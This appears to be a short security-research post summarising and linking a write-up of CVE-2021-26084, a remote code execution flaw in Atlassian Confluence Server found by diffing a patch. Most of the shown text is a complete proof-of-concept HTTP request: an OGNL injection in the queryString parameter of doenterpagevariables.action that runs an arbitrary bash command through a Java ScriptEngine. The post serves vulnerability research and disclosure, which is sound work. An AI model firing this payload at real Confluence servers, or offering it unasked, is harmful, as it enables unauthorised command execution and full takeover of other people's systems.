Remote Code Execution on Confluence Servers write-up (CVE-2021 | PT SWARM

Remote Code Execution on Confluence Servers write-up (CVE-2021-26084)
by rootxharsh and iamnoooob

Patch diffing the latest Confluence update results in RCE PoC.

PoC:
POST /pages/doenterpagevariables.action HTTP/2
Host: localhost
Content-Length: 301
Content-Type: application/x-www-form-urlencoded

queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022javax.script.ScriptEngineManager\u0022).newInstance().getEngineByName(\u0022js\u0022).eval(\u0022var x=new java.lang.ProcessBuilder;x.command([\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027'.$cmd.'\u0027]);x.start()\u0022)}%2b\u0027

Contents:
• Analyzing the hot patch
• Bypassing isSafeExpression
• Bonus - Better Payload
• Bonus - Debugging

https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md